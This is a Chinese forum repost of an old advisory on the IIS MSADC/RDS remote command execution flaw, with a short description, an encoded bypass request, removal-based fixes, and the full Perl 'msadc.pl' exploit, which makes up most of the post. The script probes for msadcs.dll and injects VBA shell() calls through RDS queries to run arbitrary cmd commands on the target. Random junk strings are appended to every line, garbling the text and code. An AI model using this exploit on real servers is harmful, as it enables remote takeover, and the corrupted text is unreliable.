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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Q}OloA(+  
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涉及程序: GT)7VFrL  
Microsoft NT server .pQ5lK(R  
yDKH;o  
描述: WV.hQX9P  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $x+7.%1m)~  
^@O 7d1&y  
详细: h=gtuaR4  
如果你没有时间读详细内容的话,就删除: N+B!AK0.  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $b1>,d'oz  
有关的安全问题就没有了。 g.@[mf0r  
#jrlNg4(  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 v9-4yZU^WR  
 IPK1g3Z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 xh$yXP0/  
关于利用ODBC远程漏洞的描述,请参看: wCg7JW#  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2O Ur">_  
R|M]mwa^w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 n}IGxum8`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp xZ P SUEG  
qb=2J5su  
这里不再论述。 &BrFcXF  
L r"cO|F  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ht(TYq  
)Bn }|6`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset k}H7bZug  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! aH?Ygzw  
<_<zrXc]  
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#将下面这段保存为txt文件,然后: "perl -x 文件名"  P>iZ gv  
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#!perl  ^AaE$G&:  
# W1X3ArP]m8  
# MSADC/RDS 'usage' (aka exploit) script Ovk=s,a)K  
# BLt58LYGX  
# by rain.forest.puppy qX5>[qf-  
# [YULvWAJ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me H Eq{TUTr  
# beta test and find errors! ;9mRumLG"  
UTKyPCfj  
use Socket; use Getopt::Std; C 8wGbU6`  
getopts("e:vd:h:XR", \%args); vw;a L#PP  
c,.@Cc2  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G6zFQ\&f  
^C ~Ryw7  
if (!defined $args{h} && !defined $args{R}) { U@y)x+:  
print qq~ qzbW0AM[M  
Usage: msadc.pl -h <host> { -d <delay> -X -v } g^+p7G  
-h <host> = host you want to scan (ip or domain) 7WS$fUBi  
-d <seconds> = delay between calls, default 1 second v{t pRL0  
-X = dump Index Server path table, if available hZ*vk  
-v = verbose tt?`,G.(]  
-e = external dictionary file for step 5 E-.X%xfO  
>9A18xC  
Or a -R will resume a command session C{85#`z`  
G`O*AQ}[  
~; exit;} rP7 QW)NF  
c86KDEF  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; uq s   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9)W3\I>U-  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ~k"b"+2  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ial{A6X  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4x[_lsj   
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } rIcgf1v70  
yjL+1_"B  
if (!defined $args{R}){ $ret = &has_msadc; ?SFQx \/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} j [lS.Lb  
06^/zr  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^.8~}TT-U  
. "cmd /c "; A1+:y,wXs  
$in=<STDIN>; chomp $in; A(E}2iP9=  
$command="cmd /c " . $in ; 3{?X>6T  
s2SV   
if (defined $args{R}) {&load; exit;} y4h =e~  
$rcv@-l  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;K\2/"$QD  
&try_btcustmr; }WIkNG4{Z  
E,.PT^au  
print "\nStep 2: Trying to make our own DSN..."; uM1$3<  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; #W)m({}  
?g4Rk9<!i  
print "\nStep 3: Trying known DSNs..."; V/2NIh  
&known_dsn; '[liZCg  
J^jd@E  
print "\nStep 4: Trying known .mdbs..."; &"K_R(kN  
&known_mdb; :VP4:J^  
__ 9FQ{Ra  
if (defined $args{e}){ {f-O~P<Z4  
print "\nStep 5: Trying dictionary of DSN names..."; mW'3yM  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } mA$y$73=T  
?j/FYi  
print "Sorry Charley...maybe next time?\n"; |8CxMs  
exit; %Hd[,duwO  
Ez|NQ:o  
############################################################################## 3JQ7Cc>  
*4%pXm;  
sub sendraw { # ripped and modded from whisker E Ou[X'gLr  
sleep($delay); # it's a DoS on the server! At least on mine... ) dk|S\  
my ($pstr)=@_; 9!X3Cv|+L  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || uOzoE_i  
die("Socket problems\n"); G8+&fn6  
if(connect(S,pack "SnA4x8",2,80,$target)){ G3^<l0?S  
select(S); $|=1; >eG<N@13p  
print $pstr; my @in=<S>; v2rO>NY4  
select(STDOUT); close(S); K:'^f? P  
return @in; 3f^Pr  
} else { die("Can't connect...\n"); }} !hq*WtIk  
)S+fc=  
############################################################################## vx($o9  
XjL3Ar*  
sub make_header { # make the HTTP request yYJ_;Va  
my $msadc=<<EOT M;y*`<x  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 zJy=1r  
User-Agent: ACTIVEDATA YdO*5Gb6  
Host: $ip <!>\ n\A  
Content-Length: $clen tlp,HxlP  
Connection: Keep-Alive ZN)EbTpc\a  
<(>t"<  
ADCClientVersion:01.06 9.\SeJ8c  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 VrPsy) J68  
p*0[:/4  
--!ADM!ROX!YOUR!WORLD! WC<[<uI*  
Content-Type: application/x-varg W=^.s>7G  
Content-Length: $reqlen wl]3g  
_"Bj`5S  
EOT 3,q?WH%_  
; $msadc=~s/\n/\r\n/g; ``jNj1t{}  
return $msadc;} 1!(lpp  
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############################################################################## Sk 7R;A  
-)(=~|,Pq/  
sub make_req { # make the RDS request M;<!C%K>  
my ($switch, $p1, $p2)=@_; J$yq#LBbR@  
my $req=""; my $t1, $t2, $query, $dsn; G-)e(u   
K0( S%v|,}  
if ($switch==1){ # this is the btcustmr.mdb query .kFO@:  
$query="Select * from Customers where City=" . make_shell(); }ZVond$y4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . b)'CP Cu*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} eg/itty  
].xSX0YQ%  
elsif ($switch==2){ # this is general make table query %:`v.AG  
$query="create table AZZ (B int, C varchar(10))"; C5V}L  
$dsn="$p1";} Z qn$>mG-  
7P3pjgh  
elsif ($switch==3){ # this is general exploit table query @U=y}vi8  
$query="select * from AZZ where C=" . make_shell(); ZcjLv  
$dsn="$p1";} oH6zlmqG"  
ZT!8h$SE:  
elsif ($switch==4){ # attempt to hork file info from index server QG?!XWz  
$query="select path from scope()"; _[&V9 Jt  
$dsn="Provider=MSIDXS;";} N,qo/At}R[  
xk~gGT&  
elsif ($switch==5){ # bad query }p6]az3  
$query="select"; o%~fJx:]y  
$dsn="$p1";} 8WQ#)  
#[9UCX^=  
$t1= make_unicode($query); lfDd%.:q4S  
$t2= make_unicode($dsn); _1E c54D  
$req = "\x02\x00\x03\x00"; F_:zR,P%#  
$req.= "\x08\x00" . pack ("S1", length($t1)); X,VI5$  
$req.= "\x00\x00" . $t1 ; (n7xYGfYS  
$req.= "\x08\x00" . pack ("S1", length($t2)); 8%B_nVc  
$req.= "\x00\x00" . $t2 ; 9R8q+2  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0,RYO :`  
return $req;} 5@>hjXi"Y  
?[ )}N _o#  
############################################################################## 8d5#vm  
d)-ZL*o  
sub make_shell { # this makes the shell() statement E{ c+`>CY  
return "'|shell(\"$command\")|'";} HL"c yxe  
!Q|a R  
############################################################################## -&7? !<f  
UAXp;W`  
sub make_unicode { # quick little function to convert to unicode 95#]6*#[4!  
my ($in)=@_; my $out;  >I4BysR  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } T2Z$*;,>T  
return $out;} neM)(` gp  
=nCA=-Jv  
############################################################################## (.!9  
H(.9tuA  
sub rdo_success { # checks for RDO return success (this is kludge) udUc&pX  
my (@in) = @_; my $base=content_start(@in); |MGT8C&^!  
if($in[$base]=~/multipart\/mixed/){ #1$4<o#M  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} M5:.\0_  
return 0;} 3Ed  
eGQ4aQhi  
############################################################################## q-Z<.GTq  
m-uXQS^@G  
sub make_dsn { # this makes a DSN for us Vc9Bg2f5  
my @drives=("c","d","e","f"); ":+d7xR?o  
print "\nMaking DSN: "; </_QldL_  
foreach $drive (@drives) { ,H6P%  
print "$drive: "; j%` C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . @uyQH c,V  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" &q|vvF<G  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); W[J2>`k9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 0-uj0"r`  
return 0 if $2 eq "404"; # not found/doesn't exist aB~k8]q.  
if($2 eq "200") {  m,+PYq  
foreach $line (@results) { 9J7yR}2-F  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 5(CInl  
} return 0;} Td|,3 n  
BEb?jRMjLg  
############################################################################## Xxh^4vKjX  
2H$](k?   
sub verify_exists { ru`7iqcz  
my ($page)=@_; DDmC3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); mr}o0@5av  
return $results[0];} HqV55o5f'  
.?NfV%vv  
############################################################################## vT{(7m!Ra  
p9i7<X2&  
sub try_btcustmr { no-";{c  
my @drives=("c","d","e","f"); 6 DQOar>d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [7.Num_L  
ek5j;%~g1  
foreach $dir (@dirs) { _$T !><)y  
print "$dir -> "; # fun status so you can see progress qfT9g>EF  
foreach $drive (@drives) { b~fl,(sZp  
print "$drive: "; # ditto [F*yh9%\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^n~Kr1}nj  
$reqlenlen=length( "$reqlen" ); *<cRQfA1  
$clen= 206 + $reqlenlen + $reqlen; BKTTta1mY  
xS@jV6E~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (^B1Kt!<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} tBzE(vW  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Pn4.gabE  
z@IG"D  
############################################################################## g5 *E\T%8  
dY$nw  
sub odbc_error { HkRvcX 5  
my (@in)=@_; my $base; M)K!!Jqh  
my $base = content_start(@in); D#'CRJh;7  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $9\8?gS  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W!ug^2"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `_LQs9J0J  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WVQHb3Pe0  
return $in[$base+4].$in[$base+5].$in[$base+6];} $G0e1)D  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; th*!EFA^o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . lv] U)p  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ES,JdImZ|  
5D/Td#T04  
############################################################################## ;ja~Q .}4  
oD2! [&  
sub verbose { ? XVE {N  
my ($in)=@_; bh8GP]*E|  
return if !$verbose; ]GRVU  
print STDOUT "\n$in\n";} hs+)a%A3G  
kS{k=V&hf_  
############################################################################## <^;~8:0]  
- TH(Z(pB  
sub save { B7C<;`5TiD  
my ($p1, $p2, $p3, $p4)=@_; 0K"+u9D^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; i88 5T '  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &0* l:uw  
close OUT;} )<J #RgE  
3?aM\z;  
############################################################################## 'Sd+CXS  
}duqX R  
sub load { arKf9`9  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^`xS| Sq1D  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ]D@aMC$#  
@p=<IN>; close(IN); ' $yy  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); r4FSQ$[9w  
$target= inet_aton($ip) || die("inet_aton problems"); FDiDHOR  
print "Resuming to $ip ..."; ,^ -%<  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \s8h.xjU  
if($p[1]==1) { C-49u<; ,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gYh o$E  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; '9vsv\A&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); OFv-bb*YZ  
if (rdo_success(@results)){print "Success!\n";} ;X;x.pi   
else { print "failed\n"; verbose(odbc_error(@results));}} Z1W%fT  
elsif ($p[1]==3){ VZamR}x  
if(run_query("$p[3]")){ p{qA%D  
print "Success!\n";} else { print "failed\n"; }} 8M3DG=D  
elsif ($p[1]==4){ yp]vDm  
if(run_query($drvst . "$p[3]")){ Z 5 .cfI[  
print "Success!\n"; } else { print "failed\n"; }}  nmL|v  
exit;} \A!I ln  
NmpNme  
############################################################################## WB (?6"  
"<^ Vp-7r  
sub create_table { Y._ACQG3  
my ($in)=@_; Qe7 SH{  
$reqlen=length( make_req(2,$in,"") ) - 28; o^uh3,.  
$reqlenlen=length( "$reqlen" ); Ia9!ucN7DA  
$clen= 206 + $reqlenlen + $reqlen; ?o]NV  
my @results=sendraw(make_header() . make_req(2,$in,"")); (u8OTq@  
return 1 if rdo_success(@results); &2y9J2aA  
my $temp= odbc_error(@results); verbose($temp); kMzDmgoxNg  
return 1 if $temp=~/Table 'AZZ' already exists/; * kL>9  
return 0;} .,thdqOO  
@!x7jPr  
############################################################################## 4,)QV_?  
$y<`Jy]+)~  
sub known_dsn { D@{m  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go S._h->5f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", \Ff]}4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", h52+f  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7 oYD;li$k  
s!Id55R]  
foreach $dSn (@dsns) { e \kR/<L  
print "."; E/% F0\B  
next if (!is_access("DSN=$dSn")); )OlYz!#?  
if(create_table("DSN=$dSn")){ KJ-Q$ M  
print "$dSn successful\n"; oqK: 5|  
if(run_query("DSN=$dSn")){ Jx&+e,OST  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x41t=E](  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "1P2`Ep;  
b?9'-hK<  
############################################################################## `Sj8IxO  
-%VFC^'5  
sub is_access { k]TJL9Q  
my ($in)=@_; tJGPkeA  
$reqlen=length( make_req(5,$in,"") ) - 28; N7s9"i  
$reqlenlen=length( "$reqlen" ); k[1[Y{n.  
$clen= 206 + $reqlenlen + $reqlen; s, #$o3  
my @results=sendraw(make_header() . make_req(5,$in,"")); <dk9n}y<,  
my $temp= odbc_error(@results); !C.{nOfyv  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); G<*h,'B  
return 0;} ,=%c e  
[h\_yU[ P  
############################################################################## 7vH4}S\ q  
.L]2g$W\p  
sub run_query { brn>FFAwO  
my ($in)=@_; @:9mTP7  
$reqlen=length( make_req(3,$in,"") ) - 28; gr>FLf   
$reqlenlen=length( "$reqlen" ); .= 8Es#  
$clen= 206 + $reqlenlen + $reqlen; 2[Qzx%Vp  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5'0kf7  
return 1 if rdo_success(@results); mL, {ZL ^  
my $temp= odbc_error(@results); verbose($temp); l4^8$@;s  
return 0;} ,6U=F#z  
hn/SS  
############################################################################## Qbj:^{`>(  
P6tJo{l8w  
sub known_mdb { I|mxyyf  
my @drives=("c","d","e","f","g"); k"FY &;G(G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Lr>4~1:`  
my $dir, $drive, $mdb; 0g@*N4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1T3YFt@&I  
XoiZ"zE  
# this is sparse, because I don't know of many 0ENqK2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", m )<N:|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  & *&  
"\\system32\\certmdb.mdb", 'Cywn^Ym#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %__.-;)o  
abV,]x&.0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7aN oqS+  
"\\cfusion\\cfapps\\forums\\forums_.mdb", %A( hmC  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]<O -  
"\\cfusion\\cfapps\\security\\realm_.mdb", A5dH*< }  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", gm&O-N"= U  
"\\cfusion\\database\\cfexamples.mdb", jmnrpXaAx  
"\\cfusion\\database\\cfsnippets.mdb", jRdW=/q+(  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", U09@pne8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", RKz _GEH)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", y|D-W>0cX3  
"\\cfusion\\database\\smpolicy.mdb", `VOLw*Ci  
"\\cfusion\\database\cypress.mdb", ]JHY(H2|  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "  6  
"\\website\\cgi-win\\dbsample.mdb", 'seuO!5  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -(.\> F  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -_Iuvw  
); #these are just '8Lc}-M4  
foreach $drive (@drives) { p WKpc  
foreach $dir (@dirs){ &[}5yos r  
foreach $mdb (@sysmdbs) { YWa9|&m1  
print "."; Jb z>j\  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {S5D~A*a+  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; c6pGy%T-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ }4I;<%L3`  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ok9G9|HA  
} else { print "Something's borked. Use verbose next time\n"; }}}}} %6<2~  
 *FoPs  
foreach $drive (@drives) { QnDLSMx)  
foreach $mdb (@mdbs) { fm,:8%  
print "."; M7IQJFra  
if(create_table($drv . $drive . $dir . $mdb)){ DWJkN4}o  
print "\n" . $drive . $dir . $mdb . " successful\n"; /K#J63 ,  
if(run_query($drv . $drive . $dir . $mdb)){ 2$QuR~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0 :1ldU 4  
} else { print "Something's borked. Use verbose next time\n"; }}}} _:;j)J0  
} d`Em) 3v  
b(gcnSzM2  
############################################################################## Fqp~1>wi  
\A3yM{G~+  
sub hork_idx { CU(W0D  
print "\nAttempting to dump Index Server tables...\n"; -wV0Nv(V8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; H~"XlP  
$reqlen=length( make_req(4,"","") ) - 28; fYv{M;  
$reqlenlen=length( "$reqlen" ); (wsvj61  
$clen= 206 + $reqlenlen + $reqlen; bYH! P/  
my @results=sendraw2(make_header() . make_req(4,"","")); -[`FNTTV C  
if (rdo_success(@results)){ GB_ m&t  
my $max=@results; my $c; my %d; #8jH_bi  
for($c=19; $c<$max; $c++){ \it<]BN  
$results[$c]=~s/\x00//g; TDQh^Wo  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; gb0ZGnI  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; TS<uBX  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Ycx$CU C  
$d{"$1$2"}="";} MRHkQE+K@8  
foreach $c (keys %d){ print "$c\n"; } S$I:rbc  
} else {print "Index server doesn't seem to be installed.\n"; }} DV~1gr,\  
&9'JHF!l  
############################################################################## Kq0hT4w  
Iq[,)$  
sub dsn_dict { -0doL ^A  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  goT:\2  
while(<IN>){ JZ=a3)x"  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H{T)?J~  
next if (!is_access("DSN=$dSn")); Pjff%r^  
if(create_table("DSN=$dSn")){ t`mLZ <X  
print "$dSn successful\n"; T {lJ[M  
if(run_query("DSN=$dSn")){ Vkb&' rXw+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^i^S1h"  
print "Something's borked. Use verbose next time\n";}}} j{'@g[HW  
print "\n"; close(IN);} gB@Wv9 1  
;nJCd1H  
############################################################################## )FqE8oN-  
-Q8pWtt  
sub sendraw2 { # ripped and modded from whisker ptuW}"F  
sleep($delay); # it's a DoS on the server! At least on mine... GS3ydN<v  
my ($pstr)=@_; 4.dMNqU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || [ @/[#p  
die("Socket problems\n"); Va/ p   
if(connect(S,pack "SnA4x8",2,80,$target)){ ~ +$l9~`{  
print "Connected. Getting data"; K~WwV8c9;  
open(OUT,">raw.out"); my @in; Ja#idF[V  
select(S); $|=1; print $pstr; Z [5HI;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} n{Mj<\kL  
close(OUT); select(STDOUT); close(S); return @in; &4DV]9+g  
} else { die("Can't connect...\n"); }} i,,>@R  
4"j5@bppJ  
############################################################################## }H ,A T  
()>\D  
sub content_start { # this will take in the server headers EX&y !  
my (@in)=@_; my $c; 8YN+ \  
for ($c=1;$c<500;$c++) { cY>;(x@  
if($in[$c] =~/^\x0d\x0a/){ X6<HNLgra  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;o3 .<"  
else { return $c+1; }}} ?t} [Wi}7  
return -1;} # it should never get here actually CsR~qQ 5  
uYMW5k_,>  
############################################################################## {hRAR8  
hoeTJ/;dm  
sub funky { D_9/|:N:  
my (@in)=@_; my $error=odbc_error(@in); M=N`&m\  
if($error=~/ADO could not find the specified provider/){ t@v>eb  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 4!gyFi6$  
exit;} W#y)ukRv  
if($error=~/A Handler is required/){ vFCp= 8h  
print "\nServer has custom handler filters (they most likely are patched)\n"; oa1a5+ A  
exit;} Vq'&t<K#  
if($error=~/specified Handler has denied Access/){ m9xu$z| e  
print "\nServer has custom handler filters (they most likely are patched)\n"; }}(~'  
exit;}} \^-3)*r  
?\#4`9  
############################################################################## ~0 FqY &4  
  6^: l  
sub has_msadc { vPwDV_zk  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); *} w.xt  
my $base=content_start(@results); SKfv.9  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); iKS9Xss8  
return 0;} T)Nis~  
>v<}$v6D~  
######################## ,.}PZL  
uV 6f~cQ  
"| Q&  
解决方案: ;LrKXp  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll kkOYC?zE?  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9vj:=,TNu  
*r% mqAx(  
拿出来充数 哈哈
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